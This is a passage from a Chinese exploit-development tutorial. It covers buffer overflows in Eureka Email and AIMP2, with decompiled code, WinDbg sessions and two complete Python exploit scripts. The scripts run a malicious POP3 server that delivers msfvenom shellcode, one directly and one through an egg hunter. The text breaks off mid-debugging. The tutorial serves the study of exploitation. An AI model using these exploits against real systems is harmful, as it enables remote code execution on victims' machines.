<span class="n">v314</span> <span class="o">=</span> <span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">unk_473678</span><span class="p">;</span>
<span class="n">v315</span> <span class="o">=</span> <span class="o">&</span><span class="n">dword_475BFC</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">v316</span> <span class="o">=</span> <span class="n">sub_446440</span><span class="p">(</span><span class="n">wParam</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="o">&</span><span class="n">v314</span><span class="p">[</span><span class="o">*</span><span class="n">v315</span><span class="p">],</span> <span class="mi">9600</span> <span class="o">-</span> <span class="o">*</span><span class="n">v315</span><span class="p">)</span> <span class="o">+</span> <span class="o">*</span><span class="n">v315</span><span class="p">;</span>
<span class="o">*</span><span class="n">v315</span> <span class="o">=</span> <span class="n">v316</span><span class="p">;</span>
<span class="n">v314</span><span class="p">[</span><span class="n">v316</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span> <span class="o">*</span><span class="n">v315</span> <span class="o">></span> <span class="mi">0</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v317</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">v318</span> <span class="o">=</span> <span class="o">*</span><span class="n">v315</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v318</span> <span class="o">></span> <span class="mi">0</span> <span class="p">)</span>
<span class="p">{</span>
<span class="k">do</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v314</span><span class="p">[</span><span class="n">v317</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'\r'</span> <span class="o">&&</span> <span class="n">v314</span><span class="p">[</span><span class="n">v317</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'\n'</span> <span class="p">)</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v317</span> <span class="o">>=</span> <span class="mi">3000</span> <span class="p">)</span>
<span class="k">break</span><span class="p">;</span>
<span class="o">++</span><span class="n">v317</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">while</span> <span class="p">(</span> <span class="n">v317</span> <span class="o"><</span> <span class="n">v318</span> <span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v317</span> <span class="o">>=</span> <span class="n">v318</span> <span class="p">)</span>
<span class="k">break</span><span class="p">;</span>
<span class="n">strncpy</span><span class="p">(</span><span class="n">v418</span><span class="p">,</span> <span class="n">v314</span><span class="p">,</span> <span class="n">v317</span><span class="p">);</span>
<span class="n">v319</span> <span class="o">=</span> <span class="o">*</span><span class="n">v315</span> <span class="o">-</span> <span class="n">v317</span><span class="p">;</span>
<span class="n">v320</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">v418</span><span class="p">[</span><span class="n">v317</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">v321</span> <span class="o">=</span> <span class="n">v319</span> <span class="o">-</span> <span class="mi">2</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v319</span> <span class="o">-</span> <span class="mi">2</span> <span class="o">></span> <span class="mi">0</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v322</span> <span class="o">=</span> <span class="o">&</span><span class="n">v314</span><span class="p">[</span><span class="n">v317</span> <span class="o">+</span> <span class="mi">2</span><span class="p">];</span>
<span class="k">do</span>
<span class="n">v314</span><span class="p">[</span><span class="n">v320</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="o">*</span><span class="n">v322</span><span class="o">++</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span> <span class="n">v320</span> <span class="o"><</span> <span class="n">v321</span> <span class="p">);</span>
<span class="p">}</span>
<span class="o">*</span><span class="n">v315</span> <span class="o">=</span> <span class="n">v321</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">wParam</span> <span class="o">==</span> <span class="n">dword_459BF4</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">sub_4433C0</span><span class="p">(</span>
<span class="n">hWnd</span><span class="p">,</span>
<span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="o">&</span><span class="n">dword_459BF4</span><span class="p">,</span>
<span class="n">v418</span><span class="p">,</span>
<span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="o">&</span><span class="n">unk_47AC10</span><span class="p">,</span>
<span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">dword_47B84C</span><span class="p">,</span>
<span class="o">*</span><span class="p">((</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">dword_47B868</span> <span class="o">+</span> <span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1204</span> <span class="o">*</span> <span class="o">*</span><span class="p">((</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">dword_47B868</span> <span class="o">+</span> <span class="mi">4</span><span class="p">),</span>
<span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="o">&::</span><span class="n">Buffer</span><span class="p">,</span>
<span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">dword_47B850</span><span class="p">,</span>
<span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">dword_47B840</span><span class="p">,</span>
<span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">dword_47B83C</span><span class="p">);</span>
<span class="n">dword_46F760</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span>
<span class="p">{</span>
<span class="n">sub_43B680</span><span class="p">(</span>
<span class="n">hWnd</span><span class="p">,</span>
<span class="n">hInstance</span><span class="p">,</span>
<span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="o">&</span><span class="n">s</span><span class="p">,</span>
<span class="p">(</span><span class="n">DWORD</span><span class="p">)</span><span class="n">v418</span><span class="p">,</span>
<span class="n">dword_47B85C</span><span class="p">,</span>
<span class="n">lpBuffer</span><span class="p">,</span>
<span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">dword_47B864</span><span class="p">,</span>
<span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="o">&</span><span class="n">unk_47AB68</span><span class="p">,</span>
<span class="o">&</span><span class="n">unk_47AC10</span><span class="p">,</span>
<span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">dword_47B84C</span><span class="p">,</span>
<span class="o">*</span><span class="p">((</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">dword_47B868</span> <span class="o">+</span> <span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1204</span> <span class="o">*</span> <span class="o">*</span><span class="p">((</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">dword_47B868</span> <span class="o">+</span> <span class="mi">3</span><span class="p">),</span>
<span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">dword_47B850</span><span class="p">,</span>
<span class="n">dword_47B840</span><span class="p">,</span>
<span class="n">dword_47B83C</span><span class="p">,</span>
<span class="n">dword_47B848</span><span class="p">,</span>
<span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="o">&::</span><span class="n">Buffer</span><span class="p">);</span>
<span class="n">dword_46F764</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>可以在函数<code class="language-plaintext highlighter-rouge">sub_446440</code>调用结束后<code class="language-plaintext highlighter-rouge">00421E15</code>下个断点验证一下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:001> bp 00421E15
*** WARNING: Unable to verify checksum for C:\Program Files\Eureka Email\Eureka Email.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Eureka Email\Eureka Email.exe
0:001> g
ModLoad: 6c880000 6c8bc000 C:\Windows\system32\mswsock.dll
ModLoad: 3fd20000 3fd25000 C:\Windows\System32\wshtcpip.dll
Breakpoint 0 hit
eax=00002580 ebx=00000000 ecx=007bfef8 edx=77f070b4 esi=00465e15 edi=00473678
eip=00421e15 esp=0012cd58 ebp=00475bfc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
Eureka_Email+0x21e15:
00421e15 8b4d00 mov ecx,dword ptr [ebp] ss:0023:00475bfc=00000000
0:000> dd esp L3
0012cd58 000000e8 00473678 00002580
0:000> !address 00473678
Failed to map Heaps (error 80004005)
Usage: Image
Allocation Base: 00400000
Base Address: 00473000
End Address: 0047c000
Region Size: 00009000
Type: 01000000 MEM_IMAGE
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
More info: lmv m Eureka_Email
More info: !lmi Eureka_Email
More info: ln 0x473678
0:000> da 00473678
00473678 "-ERR AAAAAAAAAAAAAAAAAAAAAAAAAAA"
00473698 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
004736b8 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
004736d8 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
004736f8 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00473718 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00473738 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00473758 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00473778 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00473798 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
004737b8 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
004737d8 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0:000> da 00473678+2580-20
00475bd8 "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
00475bf8 ""
</code></pre></div></div>
<p>因为这个软件没有加载自己的dll,所以原文就覆盖eip为user32.dll中的<code class="language-plaintext highlighter-rouge">jmp esp</code>。但实际上data段既然已经有我们的payload了,而且地址已知不变,不考虑DEP的话,覆盖eip为data段的地址会更加通用一些:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">socket</span>
<span class="c1"># msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -b '\x00\x09\x0a\x0d' -f python -v shellcode -n 16
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 220 (iteration=0)
# x86/shikata_ga_nai chosen with final size 220
# Successfully added NOP sled from x86/single_byte
# Payload size: 236 bytes
# Final size of python file: 1280 bytes
</span><span class="n">shellcode</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x43\x27\x2f\x43\x2f\x99\x4a\x27\xfd\x93\x49\x2f</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x99\xf5\xfc\xd9\xe8\xd9\x74\x24\xf4\x5a\x33</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xc9\xbb\x6f\xde\x10\xce\xb1\x31\x83\xc2\x04\x31</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x5a\x14\x03\x5a\x7b\x3c\xe5\x32\x6b\x42\x06\xcb</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x6b\x23\x8e\x2e\x5a\x63\xf4\x3b\xcc\x53\x7e\x69</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xe0\x18\xd2\x9a\x73\x6c\xfb\xad\x34\xdb\xdd\x80</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xc5\x70\x1d\x82\x45\x8b\x72\x64\x74\x44\x87\x65</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xb1\xb9\x6a\x37\x6a\xb5\xd9\xa8\x1f\x83\xe1\x43</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x53\x05\x62\xb7\x23\x24\x43\x66\x38\x7f\x43\x88</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xed\x0b\xca\x92\xf2\x36\x84\x29\xc0\xcd\x17\xf8</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x19\x2d\xbb\xc5\x96\xdc\xc5\x02\x10\x3f\xb0\x7a</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x63\xc2\xc3\xb8\x1e\x18\x41\x5b\xb8\xeb\xf1\x87</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x39\x3f\x67\x43\x35\xf4\xe3\x0b\x59\x0b\x27\x20</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x65\x80\xc6\xe7\xec\xd2\xec\x23\xb5\x81\x8d\x72</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x13\x67\xb1\x65\xfc\xd8\x17\xed\x10\x0c\x2a\xac</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x7e\xd3\xb8\xca\xcc\xd3\xc2\xd4\x60\xbc\xf3\x5f</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xef\xbb\x0b\x8a\x54\x33\x46\x97\xfc\xdc\x0f\x4d</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xbd\x80\xaf\xbb\x81\xbc\x33\x4e\x79\x3b\x2b\x3b</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x7c\x07\xeb\xd7\x0c\x18\x9e\xd7\xa3\x19\x8b\xbb</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x22\x8a\x57\x12\xc1\x2a\xfd\x6a</span><span class="s">"</span>
<span class="n">response</span> <span class="o">=</span> <span class="s">"-ERR "</span>
<span class="n">padding</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x90</span><span class="s">"</span> <span class="o">*</span> <span class="p">(</span><span class="mi">711</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">))</span>
<span class="n">jmp</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x88\x36\x47\x00</span><span class="s">"</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">response</span> <span class="o">+</span> <span class="n">padding</span> <span class="o">+</span> <span class="n">shellcode</span> <span class="o">+</span> <span class="n">jmp</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">bind</span><span class="p">((</span><span class="s">"192.168.56.1"</span><span class="p">,</span> <span class="mi">110</span><span class="p">))</span>
<span class="n">s</span><span class="p">.</span><span class="n">listen</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">conn</span><span class="p">,</span> <span class="n">addr</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">accept</span><span class="p">()</span>
<span class="k">print</span> <span class="s">"Connected by"</span><span class="p">,</span> <span class="n">addr</span>
<span class="n">counter</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
<span class="n">counter</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="n">conn</span><span class="p">.</span><span class="n">sendall</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="k">print</span> <span class="n">counter</span>
</code></pre></div></div>
<p>当然egg hunter也需要尝试一下,<code class="language-plaintext highlighter-rouge">jmp esp</code>跳转至egg hunter,寻找到data段的shellcode跳转执行同样可以弹计算器,但似乎NtDisplayString比NtAccessCheckAndAuditAlarm慢太多:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">socket</span>
<span class="c1"># msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -b '\x00\x09\x0a\x0d' -f python -v shellcode -n 16
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 220 (iteration=0)
# x86/shikata_ga_nai chosen with final size 220
# Successfully added NOP sled from x86/single_byte
# Payload size: 236 bytes
# Final size of python file: 1280 bytes
</span><span class="n">shellcode</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x43\x27\x2f\x43\x2f\x99\x4a\x27\xfd\x93\x49\x2f</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x99\xf5\xfc\xd9\xe8\xd9\x74\x24\xf4\x5a\x33</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xc9\xbb\x6f\xde\x10\xce\xb1\x31\x83\xc2\x04\x31</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x5a\x14\x03\x5a\x7b\x3c\xe5\x32\x6b\x42\x06\xcb</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x6b\x23\x8e\x2e\x5a\x63\xf4\x3b\xcc\x53\x7e\x69</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xe0\x18\xd2\x9a\x73\x6c\xfb\xad\x34\xdb\xdd\x80</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xc5\x70\x1d\x82\x45\x8b\x72\x64\x74\x44\x87\x65</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xb1\xb9\x6a\x37\x6a\xb5\xd9\xa8\x1f\x83\xe1\x43</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x53\x05\x62\xb7\x23\x24\x43\x66\x38\x7f\x43\x88</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xed\x0b\xca\x92\xf2\x36\x84\x29\xc0\xcd\x17\xf8</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x19\x2d\xbb\xc5\x96\xdc\xc5\x02\x10\x3f\xb0\x7a</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x63\xc2\xc3\xb8\x1e\x18\x41\x5b\xb8\xeb\xf1\x87</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x39\x3f\x67\x43\x35\xf4\xe3\x0b\x59\x0b\x27\x20</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x65\x80\xc6\xe7\xec\xd2\xec\x23\xb5\x81\x8d\x72</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x13\x67\xb1\x65\xfc\xd8\x17\xed\x10\x0c\x2a\xac</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x7e\xd3\xb8\xca\xcc\xd3\xc2\xd4\x60\xbc\xf3\x5f</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xef\xbb\x0b\x8a\x54\x33\x46\x97\xfc\xdc\x0f\x4d</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xbd\x80\xaf\xbb\x81\xbc\x33\x4e\x79\x3b\x2b\x3b</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x7c\x07\xeb\xd7\x0c\x18\x9e\xd7\xa3\x19\x8b\xbb</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x22\x8a\x57\x12\xc1\x2a\xfd\x6a</span><span class="s">"</span>
<span class="n">egg</span> <span class="o">=</span> <span class="s">"lary"</span>
<span class="n">egg_hunter</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8</span><span class="s">"</span> <span class="o">+</span> <span class="n">egg</span> <span class="o">+</span> <span class="s">"</span><span class="se">\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7</span><span class="s">"</span>
<span class="n">response</span> <span class="o">=</span> <span class="s">"-ERR "</span>
<span class="n">padding</span> <span class="o">=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="mi">711</span>
<span class="n">jmp</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x5b\x4e\xd3\x77</span><span class="s">"</span> <span class="c1">#77d34e5b jmp esp from user32.dll
</span><span class="n">junk</span> <span class="o">=</span> <span class="s">"B"</span> <span class="o">*</span> <span class="mi">500</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">response</span> <span class="o">+</span> <span class="n">padding</span> <span class="o">+</span> <span class="n">jmp</span> <span class="o">+</span> <span class="n">egg_hunter</span> <span class="o">+</span> <span class="n">junk</span> <span class="o">+</span> <span class="n">egg</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">+</span> <span class="n">shellcode</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">bind</span><span class="p">((</span><span class="s">"192.168.56.1"</span><span class="p">,</span> <span class="mi">110</span><span class="p">))</span>
<span class="n">s</span><span class="p">.</span><span class="n">listen</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">conn</span><span class="p">,</span> <span class="n">addr</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">accept</span><span class="p">()</span>
<span class="k">print</span> <span class="s">"Connected by"</span><span class="p">,</span> <span class="n">addr</span>
<span class="n">counter</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
<span class="n">counter</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="n">conn</span><span class="p">.</span><span class="n">sendall</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="k">print</span> <span class="n">counter</span>
</code></pre></div></div>
<h1>0x03 遇上Unicode</h1>
<p>在Part7的example2中还遗留了一个为解决的问题,一个基于SEH的漏洞,因为要执行Unicode编码的shellcode,所以eax赋值为ebp+0x100然后跳转执行,最后发现栈空间不够无法容纳五百多字节的shellcode,那么现在就可以用短小的egg hunter来解决这个问题。</p>
<h2>漏洞原理</h2>
<p>强迫症还是想看一下漏洞点和相关的偏移,篇幅所限也就不会太刨根问底哈。首先windbg附加至程序运行poc文件后,可知在<code class="language-plaintext highlighter-rouge">004530c6</code>处将栈空间打满,定位相关的代码处为:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="n">Sysutils</span><span class="o">::</span><span class="n">WideFmtStr</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="n">a1</span><span class="p">,</span> <span class="n">_WORD</span> <span class="o">*</span><span class="n">a2</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a3</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a4</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">v4</span><span class="p">;</span> <span class="c1">// esi@1</span>
<span class="kt">signed</span> <span class="kt">int</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// ebx@1</span>
<span class="kt">int</span> <span class="n">v6</span><span class="p">;</span> <span class="c1">// eax@2</span>
<span class="kt">int</span> <span class="n">v7</span><span class="p">;</span> <span class="c1">// eax@2</span>
<span class="kt">int</span> <span class="n">v8</span><span class="p">;</span> <span class="c1">// eax@6</span>
<span class="kt">int</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// eax@8</span>
<span class="kt">char</span> <span class="n">v10</span><span class="p">;</span> <span class="c1">// [sp+0h] [bp-2008h]@2</span>
<span class="kt">int</span> <span class="n">v11</span><span class="p">;</span> <span class="c1">// [sp+2000h] [bp-8h]@1</span>
<span class="n">_WORD</span> <span class="o">*</span><span class="n">v12</span><span class="p">;</span> <span class="c1">// [sp+2004h] [bp-4h]@1</span>
<span class="n">v11</span> <span class="o">=</span> <span class="n">a3</span><span class="p">;</span>
<span class="n">v12</span> <span class="o">=</span> <span class="n">a2</span><span class="p">;</span>
<span class="n">v4</span> <span class="o">=</span> <span class="n">a1</span><span class="p">;</span>
<span class="n">v5</span> <span class="o">=</span> <span class="mh">0x2000</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">System</span><span class="o">::</span><span class="n">__linkproc__</span> <span class="n">WStrLen</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">a2</span><span class="p">)</span> <span class="o">>=</span> <span class="mi">6144</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v7</span> <span class="o">=</span> <span class="n">System</span><span class="o">::</span><span class="n">__linkproc__</span> <span class="n">WStrLen</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">v12</span><span class="p">);</span>
<span class="n">v5</span> <span class="o">=</span> <span class="n">v7</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span>
<span class="p">{</span>
<span class="n">v6</span> <span class="o">=</span> <span class="n">System</span><span class="o">::</span><span class="n">__linkproc__</span> <span class="n">WStrLen</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">v12</span><span class="p">);</span>
<span class="n">v7</span> <span class="o">=</span> <span class="n">Sysutils</span><span class="o">::</span><span class="n">WideFormatBuf</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="o">&</span><span class="n">v10</span><span class="p">,</span> <span class="mh">0x1FFF</span><span class="p">,</span> <span class="n">v12</span><span class="p">,</span> <span class="n">v6</span><span class="p">,</span> <span class="n">v11</span><span class="p">,</span> <span class="n">a4</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>其中的<a href="http://docwiki.embarcadero.com/Libraries/Tokyo/en/System.SysUtils.WideFormatBuf"><code class="language-plaintext highlighter-rouge">Sysutils::WideFormatBuf</code></a>类似于snprintf,不过第二参数<code class="language-plaintext highlighter-rouge">BufLen</code>并没有起到限制长度的作用,调试可以看下漏洞函数的起始环境:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:016> bp 00452fe4
*** WARNING: Unable to verify checksum for C:\Program Files\AIMP2\AIMP2.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\AIMP2\AIMP2.dll -
0:016> g
Breakpoint 0 hit
eax=0012dd38 ebx=00002000 ecx=00328a54 edx=00001fff esi=0012fd7c edi=0000001b
eip=00452fe4 esp=0012dd20 ebp=0012fd40 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
AIMP2!SysutilsWideFormatBuf$qqrpvuipxvuipx14SystemTVarRecxi:
00452fe4 55 push ebp
0:000> dd esp L4
0012dd20 004537b3 00000000 0012fd70 0000002f
0:000> db ecx
00328a54 57 00 61 00 72 00 6e 00-69 00 6e 00 67 00 21 00 W.a.r.n.i.n.g.!.
00328a64 20 00 44 00 65 00 63 00-6f 00 64 00 65 00 72 00 .D.e.c.o.d.e.r.
00328a74 20 00 66 00 6f 00 72 00-20 00 74 00 68 00 65 00 .f.o.r. .t.h.e.
00328a84 20 00 66 00 69 00 6c 00-65 00 20 00 25 00 73 00 .f.i.l.e. .%.s.
00328a94 20 00 77 00 61 00 73 00-20 00 6e 00 6f 00 74 00 .w.a.s. .n.o.t.
00328aa4 20 00 66 00 6f 00 75 00-6e 00 64 00 2e 00 00 00 .f.o.u.n.d.....
00328ab4 75 00 65 00 3b 00 29 00-00 00 2a 00 2e 00 70 00 u.e.;.)...*...p.
00328ac4 6c 00 63 00 3b 00 2a 00-2e 00 6d 00 33 00 75 00 l.c.;.*...m.3.u.
0:000> dd 0012fd70 L1
0012fd70 03e34b44
0:000> db 03e34b44
